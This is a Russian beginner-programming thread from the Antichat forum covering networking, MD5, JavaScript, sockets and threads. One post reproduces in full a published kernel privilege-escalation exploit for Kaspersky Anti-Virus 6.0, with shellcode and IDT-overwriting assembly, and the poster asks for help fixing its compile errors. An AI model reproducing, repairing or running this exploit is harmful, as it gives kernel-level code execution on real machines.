Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Вопросы для новичков! (faq) (https://forum.antichat.xyz/showthread.php?t=4585)

AIN 23.08.2005 16:34

Ух. Какой ты умный!!!


Выписано из книги.

GUI - Graphic Universal Interfaces.

Все программы, которые предназначены для выполнений в многозадачных платформах, таких как WINDOWS, а также которые используют универсал-
ьный интерфейс их называют GUI программы.



А нащет API просто он на DELPHI делает а DELPHI очень много занимает

nlp 09.09.2005 23:16

О,старый,нудно-галимый вопрос =) ну всё же мало ли...
"Есть 1 комп, на котором установлен клиент, есть ещё 2 удалённых компа.
первый из которых имеет стат. ip(Static and dynamic address - Whois )+ Старман(провайдер такой) ;
У второго (dynamic address- Whois ) и СТВ(ещё один провайдер но другой ).
Если клиент соединяется с первым , то всё работает, если пытается соединиться со вторым, то пишем тайм аут.
Но это не самое страшное, страшное, что до второго компа с динамическим айпи и СТВ провайдером даже пинг и трэйсерт не доходит...request time out

***При запущенном сервере на удалённых машинах сканер портов пишет, что на первой машине всё ок, нужный порт открыт, а на второй машине косяк..значит нада как-то по-другому обращаться к компам с динамическим айпи...А ну разумеется на локалхосте всё работает как нужно..."
+Экстра - чё я тока не пробовал..самый последний вариант был скачать с соурсес.ру исходник такой проги, но даже он не работал...
+На мастерах дельфи сказали,что это возможно НАТ у провайдера не даёт подконнектится...может всё же что-то другое и как с ним бороться?

.FUF 10.09.2005 09:29

1:

почитай на сайте прова ств про то как у них доступ в инет организован
если как ты сказал ип динамический, то 90% что он и есть реальный

ты говоришь что узнал тип адреса (статический/динамический) по хуизу - лучше проверь это дело на самом серваке, может быть, что адрес выдается клиентам не внешний (т.е. через нат), но динамический (если я не ошибаюсь, то ств это через спутник) - это вполне возможно, т.к. нат может быть подключен к канальному прову, который не удосуживается выдавать статические адреса

2:
хотя лучше проверить настройки фаера у себя и на серваке

3:
если ип динамический и его получает каждый клиент, то вероятно что ип уже сменился и он не был выдан другому клиенту

nilux 10.09.2005 18:08

Помогите кто может.
Есть ли в delphi аналог ПХП функции md5 ?
Если есть то как ею пользаваться?

nerezus 10.09.2005 19:36

компонент, причем стандартный

nilux 10.09.2005 20:10

компонент IdCoderMD5 как им пользоваться, чтобы например зашифровать строку. Я никак не догоню.

.FUF 10.09.2005 20:30

http://www.yandex.ru/yandsearch?rpt=...5encode+delphi

mckie 18.09.2005 00:52

А можно ли найти видео уроки по Microsoft Visual C++ 6.0

KEZ 18.09.2005 01:59

Цитата:

А можно ли найти видео уроки по Microsoft Visual C++ 6.0
Нет, даже я до такого ещё не додумался...

qBiN 18.09.2005 10:26

Блин,может вам еще такие уроки нужны "урок как установить программу"
с апачем урок был перебором.

mckie 18.09.2005 10:39

Нет по установке уроков не надо а вот по написанию простейшей программы, начиная от создания заканчивая её выполнением былобы интерестно посмотреть.

Raider 19.09.2005 01:03

*** Нет слов ***

зы
Может ещё надо снять видео как компьютор включать ? А потом будет часть Ii "выключение компьютера" , по роману Стивена Кинга =)))

mckie 20.09.2005 10:10

Цитата:

Сообщение от Raider
*** Нет слов ***

зы
Может ещё надо снять видео как компьютор включать ? А потом будет часть Ii "выключение компьютера" , по роману Стивена Кинга =)))

ЛОЛ ! СПАМ !

Ты думаешь это смешно? Я в этом не чего смешного не вижу! Если вы все такие способные неужели сложно снять видео?

KEZ 20.09.2005 11:57

Извини, лень читать предыдуший страницы. Какое тебе там надо видео то снять?

bul666 20.09.2005 12:19

А че лень посмотреть на верх ? )))

Цитата:

Сообщение от mckie
Нет по установке уроков не надо а вот по написанию простейшей программы, начиная от создания заканчивая её выполнением былобы интерестно посмотреть.


x_Lex 20.09.2005 16:10

Цитата:

Сообщение от nilux
компонент IdCoderMD5 как им пользоваться, чтобы например зашифровать строку. Я никак не догоню.

http://www.cobans.net/hashlib.php

Abra 20.09.2005 16:51

Вопрос по Java-script. Т.к. я в нем нихрена не шпарю хотел спросить - кк по срадством Явы сделать такую фигню - при нажатии на N-ную кнопку в опеределенном поле формы должен появляться некий текст. Кто ничерта не понял из того что я сказал объясняю проще - нужна система вроде той что добавляет смайлики в фрум когда пишешь сообщение:) То есть при нажатии на картинку смайлика в поле формы вставляется его код.
ЗЫ НО код должен вставляться именно туда, где в поле стоит курсор а не вместо всего поля! Скрип типа onClick(this.form.value)=":)" не подойдет.

Raider 21.09.2005 01:39

Цитата:

Сообщение от mckie
ЛОЛ ! СПАМ !

Ты думаешь это смешно? Я в этом не чего смешного не вижу! Если вы все такие способные неужели сложно снять видео?

А может тебе сериал отснять ?

Raider 21.09.2005 01:56

Цитата:

Сообщение от Abra
Вопрос по Java-script. Т.к. я в нем нихрена не шпарю хотел спросить - кк по срадством Явы сделать такую фигню - при нажатии на N-ную кнопку в опеределенном поле формы должен появляться некий текст. Кто ничерта не понял из того что я сказал объясняю проще - нужна система вроде той что добавляет смайлики в фрум когда пишешь сообщение:) То есть при нажатии на картинку смайлика в поле формы вставляется его код.
ЗЫ НО код должен вставляться именно туда, где в поле стоит курсор а не вместо всего поля! Скрип типа onClick(this.form.value)=":)" не подойдет.

Типа того:

<input name="text" value="">
<input type="button" value="ok" onclick="text.value=text.value + ':)'">

Это добавит текст в самый конец ...

Raider 21.09.2005 02:17

2 Abra:

Тебе поможет просмотр исходного кода почти любого форума:

function emoticon(text) {
var txtarea = document.post.message;
if (txtarea.createTextRange && txtarea.caretPos) {
var caretPos = txtarea.caretPos;
caretPos.text = caretPos.text.charAt(caretPos.text.length - 1) == ' ' ? text + ' ' : text;
} else {
txtarea.value += text;
}
txtarea.focus();
}

document.post.message - post -> имя формы, message -> имя textarea

SanyaX 21.09.2005 04:34

Цитата:

Сообщение от Raider
А может тебе сериал отснять ?

Хех снимай я жду :).

Abra 21.09.2005 10:30

2 Raider - примного благодарен :)

mckie 03.10.2005 21:38

Ну что народ так не кто и не сделает видео?

neitral 22.08.2007 19:03

вот вам видео уроки с++ http://www.reactioner.com/reaction/video.html

Nokia3310 26.08.2007 09:35

Я недавно начил изучать Delphi.Мне нужна цель - какую программу вы посоветуете написать.

W!z@rD 26.08.2007 11:06

мда...
1. Hello World
2. calc
3. notepad
4. TCP Server/Client
5. BDE
6. CGI
7. BDE+CGI

scrat 26.08.2007 11:14

как включить поддержку acpi в ядре?)

neitral 26.08.2007 12:11

Мужики не поможете с эксплоитам вот сам эксплоит и какие ошибки выдаёт при компиляцыи что сдесь нужна исправить. Буду примного блогадарен за помоч.
Код:

//        kav 6.0 0day local priv escalation exploit
//                by m4d
//        http://unl0ck.net
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>


// r0-shellcode creates C:\Hello.txt with "Hello from ring-0! :)"

unsigned char Shellcode[405] = {
        0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xBC, 0x60, 0x83, 0x4D, 0xE8, 0xFF, 0x0F, 0x01, 0x4D, 0xFA, 0x8B,
        0x4D, 0xFC, 0x81, 0xC1, 0x50, 0x01, 0x00, 0x00, 0x66, 0x8B, 0x71, 0x06, 0xC1, 0xE6, 0x10, 0x66,
        0x8B, 0x31, 0x4E, 0x66, 0x81, 0x3E, 0x4D, 0x5A, 0x75, 0xF8, 0x8B, 0x46, 0x3C, 0xA9, 0x00, 0xFF,
        0xFF, 0xFF, 0x75, 0xEE, 0x81, 0x3C, 0x30, 0x50, 0x45, 0x00, 0x00, 0x75, 0xE5, 0xE8, 0x00, 0x00,
        0x00, 0x00, 0x58, 0x8D, 0x90, 0xB7, 0x00, 0x00, 0x00, 0x8D, 0x5A, 0x58, 0x8B, 0xC6, 0x6A, 0x0D,
        0x59, 0xFF, 0xD3, 0x89, 0x45, 0xEC, 0x03, 0xD1, 0x8B, 0xC6, 0x6A, 0x08, 0x59, 0xFF, 0xD3, 0x89,
        0x45, 0xF0, 0x03, 0xD1, 0x8B, 0xC6, 0x6A, 0x0C, 0x59, 0xFF, 0xD3, 0x89, 0x45, 0xF4, 0x03, 0xD1,
        0x89, 0x55, 0xE4, 0x6A, 0x20, 0x58, 0x66, 0x89, 0x45, 0xE0, 0x66, 0x89, 0x45, 0xE2, 0x8D, 0x4D,
        0xC0, 0xC7, 0x01, 0x18, 0x00, 0x00, 0x00, 0x83, 0x61, 0x04, 0x00, 0xC7, 0x41, 0x0C, 0x00, 0x02,
        0x00, 0x00, 0x83, 0x61, 0x10, 0x00, 0x8D, 0x45, 0xE0, 0x89, 0x41, 0x08, 0x83, 0x61, 0x14, 0x00,
        0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x20, 0x6A, 0x03, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x8D, 0x45,
        0xD8, 0x50, 0x8D, 0x45, 0xC0, 0x50, 0x68, 0x04, 0x00, 0x10, 0x00, 0x8D, 0x45, 0xBC, 0x50, 0xFF,
        0x55, 0xEC, 0x85, 0xC0, 0x75, 0x2D, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x17, 0x8B, 0x45, 0xE4, 0x0F,
        0xB7, 0x4D, 0xE0, 0x03, 0xC1, 0x50, 0x8D, 0x45, 0xD8, 0x50, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00,
        0xFF, 0x75, 0xBC, 0xFF, 0x55, 0xF4, 0xFF, 0x75, 0xBC, 0xFF, 0x55, 0xF0, 0xC7, 0x45, 0xE8, 0xEF,
        0xBE, 0xAD, 0xDE, 0x61, 0x8B, 0x45, 0xE8, 0xC9, 0xCF, 0x5A, 0x77, 0x43, 0x72, 0x65, 0x61, 0x74,
        0x65, 0x46, 0x69, 0x6C, 0x65, 0x00, 0x5A, 0x77, 0x43, 0x6C, 0x6F, 0x73, 0x65, 0x00, 0x5A, 0x77,
        0x57, 0x72, 0x69, 0x74, 0x65, 0x46, 0x69, 0x6C, 0x65, 0x00, 0x5C, 0x00, 0x3F, 0x00, 0x3F, 0x00,
        0x5C, 0x00, 0x43, 0x00, 0x3A, 0x00, 0x5C, 0x00, 0x48, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x6C, 0x00,
        0x6F, 0x00, 0x2E, 0x00, 0x74, 0x00, 0x78, 0x00, 0x74, 0x00, 0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x20,
        0x66, 0x72, 0x6F, 0x6D, 0x20, 0x72, 0x69, 0x6E, 0x67, 0x2D, 0x30, 0x21, 0x20, 0x3A, 0x29, 0x0D,
        0x0A, 0x60, 0x8B, 0x50, 0x3C, 0x8B, 0x54, 0x10, 0x78, 0x03, 0xD0, 0x8B, 0x5A, 0x20, 0x03, 0xD8,
        0x33, 0xED, 0x8B, 0x4A, 0x18, 0x51, 0x8B, 0x4C, 0x24, 0x1C, 0x8B, 0x33, 0x03, 0xF0, 0x8B, 0x7C,
        0x24, 0x18, 0xF3, 0xA6, 0x59, 0x74, 0x06, 0x45, 0x83, 0xC3, 0x04, 0xE2, 0xE8, 0x8B, 0x4A, 0x24,
        0x03, 0xC8, 0x0F, 0xB7, 0x0C, 0x69, 0x8B, 0x6A, 0x1C, 0x03, 0xE8, 0x95, 0x03, 0x2C, 0x88, 0x89,
        0x6C, 0x24, 0x1C, 0x61, 0xC3
};




typedef struct _FIRST_PARAM {
        ULONG        SwitchIndex;
        ULONG        Unknown;                        // 0xFF0002...0xFF000F, if this parameters won't be in the list of klif.sys, sploit won't work..
        ULONG        Value;                                // this value will rewrite DWORD of memory
} FIRST_PARAM, *PFIRST_PARAM;





void main(int argc, char* argv[])
{
        __try
        {
                FIRST_PARAM                        Param1;
                ULONG                                Param2;                // pointer to write DATA - 8
                CHAR                                Idtr[6];
                CHAR                                IsKAVInstalled;
                OSVERSIONINFOEX                os;


                os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
                GetVersionEx((LPOSVERSIONINFO)&os);

                if (os.dwPlatformId != VER_PLATFORM_WIN32_NT ||
                        os.dwMajorVersion != 5 ||
                        os.dwMinorVersion > 1)
                {
                        printf("This OS version unsupported\n");
                        return;
                }

                // Для начала определим, установлен ли KAV или нет

                __asm {
                        cmp                os.dwMinorVersion, 0
                        jnz                short $+13
                        mov                eax, 0F8h                // 2k
                        jmp                short $+7
                        mov                eax, 11Ch                // xp
                        int                2Eh

                        cmp                eax, 0Ch
                        setz        al
                        mov                IsKAVInstalled, al
                }

                if (!IsKAVInstalled)
                {
                        printf("KAV6 didn't installed\n");
                        return;
                }

                Param1.SwitchIndex = 3;                // Index of jmp in case of switch()
                Param1.Unknown = 0xFF0002;

                __asm {
                        pusha
                        sidt        Idtr

                        mov                eax, dword ptr [Idtr+2]

                        add                eax, 0DAh * 8 - 8
                        mov                Param2, eax

                        // Write lower DWORD IdtEntry

                        mov                ecx, offset Shellcode
                        and                ecx, 0000FFFFh
                        or                ecx, 00080000h
                        mov                Param1.Value, ecx        // Set DWORD: [selector 0x0008 | LOWORD(Shellcode)]

                        push        Param2
                        lea                eax, Param1
                        push        eax

                        mov                edx, esp
                        cmp                os.dwMinorVersion, 0
                        jnz                short $+13
                        mov                eax, 100h                // 2k
                        jmp                short $+7
                        mov                eax, 124h                // xp
                        int                2Eh
                        add                esp, 2*4

                        // Write high DWORD IdtEntry

                        add                Param2, 4

                        mov                ecx, offset Shellcode
                        and                ecx, 0FFFF0000h
                        or                ecx,  0000EE00h
                        mov                Param1.Value, ecx        // Set DWORD: [HIWORD(Shellcode) | gate parameters 0xEE00]

                        push        Param2
                        lea                eax, Param1
                        push        eax

                        mov                edx, esp
                        cmp                os.dwMinorVersion, 0
                        jnz                short $+13
                        mov                eax, 100h                // 2k
                        jmp                short $+7
                        mov                eax, 124h                // xp
                        int                2Eh
                        add                esp, 2*4

                        // Call Gate :-) (COLGATE)

                        push        fs
                        int                0DAh
                        pop                fs

                        popa
                }

                printf("Exploited successful\n");
        }
        __except(1) {
                printf("Can't create interrupt gate\n");
        }
}

// 15.01.07 MaD

// milw0rm.com [2007-01-15]

++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++
ВОТ ОШИБКИ :
[C++ Error] 3131.c(78): E2017 Ambiguous member name 'dwMinorVersion'
[C++ Error] 3131.c(78): E2510 Operand size mismatch
[C++ Error] 3131.c(79): E2451 Undefined symbol 'short'
[C++ Error] 3131.c(79): E2329 Invalid combination of opcode and operands
[C++ Error] 3131.c(81): E2451 Undefined symbol 'short'
[C++ Error] 3131.c(81): E2329 Invalid combination of opcode and operands
[C++ Error] 3131.c(113): E2017 Ambiguous member name 'Value'
[C++ Error] 3131.c(113): E2510 Operand size mismatch
[C++ Error] 3131.c(120): E2017 Ambiguous member name 'dwMinorVersion'
[C++ Error] 3131.c(120): E2510 Operand size mismatch
[C++ Error] 3131.c(121): E2451 Undefined symbol 'short'
[C++ Error] 3131.c(121): E2329 Invalid combination of opcode and operands
[C++ Error] 3131.c(123): E2451 Undefined symbol 'short'
[C++ Error] 3131.c(123): E2329 Invalid combination of opcode and operands
[C++ Error] 3131.c(135): E2017 Ambiguous member name 'Value'
[C++ Error] 3131.c(135): E2510 Operand size mismatch
[C++ Error] 3131.c(142): E2017 Ambiguous member name 'dwMinorVersion'
[C++ Error] 3131.c(142): E2510 Operand size mismatch
[C++ Error] 3131.c(143): E2451 Undefined symbol 'short'
[C++ Error] 3131.c(143): E2329 Invalid combination of opcode and operands
[C++ Error] 3131.c(145): E2451 Undefined symbol 'short'
[C++ Error] 3131.c(145): E2329 Invalid combination of opcode and operands

Emory 02.09.2007 14:12

Знаю языки turbo pascal (еще в школе) html(создавать сайт приходилось) и еще изучал vb.net но потом чет он надоел....
немного смотрел php perl но они сразу не даются...

так вот вопрос: что сейчас стоит изучить???
причем задач определенных нету...
Просто невозможно жить не изучая ( :D )
ну короче вот думаю.... не знай изучить до конца php чтоб в сайтах разбираться... а с другой вроде и проги для винды неплохо бы знать....

Piflit 02.09.2007 14:19

Цитата:

Сообщение от Emory
З
немного смотрел php perl но они сразу не даются...

а ничего сразу не дается))
займись практикой php или начни c++/delphi. или, если совсем ничего не нравится, попробуй асм)

lastsmile 26.09.2007 02:00

у меня вопрос по дельфи:
где можно найти литературу по автозаполнению форм на веб странице. перечитал много статей, читал на форумах... основной базе научился, но встречается много нюансов, поэтому хотелось бы найти специальзированную литературу.

GlOFF 26.09.2007 12:04

lastsmile Я думаю нужно читать сразу специализированную литературу. Если не найти в сети, то в книжном магазине, т.к. это будет полная инфа.

Loker 10.12.2007 00:49

Как включить сокеты на локальном серве?

Jes 10.12.2007 01:24

Цитата:

Сообщение от Loker
Как включить сокеты на локальном серве?

насколько я понял формулировку вопроса

в среде вин для этого существует прикладной интерфейс Windows Sockets , во как , собственно ws2_32.dll
http://www.codenet.ru/progr/visualc/socket.php
http://www.microsoft.com/Rus/Msdn/Ma...8/Winsock.mspx
в никсе юзай :
Код:

#include <sys/types.h>
#include <sys/socket.h>
int socket(int domain, int type, int protocol);
(где Socket  создает  конечную точку соединения и возвращает ее описатель.)

ну и , существует куча альтернативных компонентов и интерфейсов (например Indy в делфи)...

MSDN + RTFM = )

De-visible 09.07.2008 18:07

Php не здесь

_nic 10.07.2008 15:52

Может кто то будет настолько добр что набросает примерчик(С++).Как родить четко определенное число потоков А и как потом уменьшить его на число B

SlyBit 10.07.2008 16:12

_nic

Код:

#define THREADS_NUMBER_A 10
#define THREADS_NUMBER_B 4
DWORD dwThreadsId[THREADS_NUMBER_A];
HANDLE hThread;

// Создаем потоки в количестве THREADS_NUMBER_A
for(int i=0; i<THREADS_NUMBER_A; i++) {
    CreateThread(0, 0, (PTHREAD_START_ROUTINE)TestThread, 0, 0, &dwThreadsId[i]);
}
   
// Убиваем THREADS_NUMBER_B потоков
for(int i=THREADS_NUMBER_A-1; i>=THREADS_NUMBER_A-THREADS_NUMBER_B; i--) {
    hThread = OpenThread(THREAD_TERMINATE, 0, dwThreadsId[i]);
    TerminateThread(hThread, 0);
}


_nic 11.07.2008 16:12

Ещё один не большой вопрос :) Как привязать выполнение определенного потока(или группы потоков) к определенному физическому ядру проца?

SlyBit 11.07.2008 16:30

SetThreadIdealProcessor(HANDLE hThread, DWORD dwIdealProcessor);

dwIdealProcessor - № выбранного процессора

PEPSICOLA 14.07.2008 19:13

Вообщем... нужно что бы профессионалы своего дела сделали плагины для icq/qip и т.д. - который будет называться PEPSIQ (пе-пси-кью).

Он автоматически должен в конец отсылаемого сообщения вставлять несколько штук закрывающих скобок, к примеру, я пишу соощение "Привет". А этот плагин должен отправить адресату в таком виде:
"Привет))))))"

По изготовлению данного плагина, просьба писать мне в PM!


Время: 09:21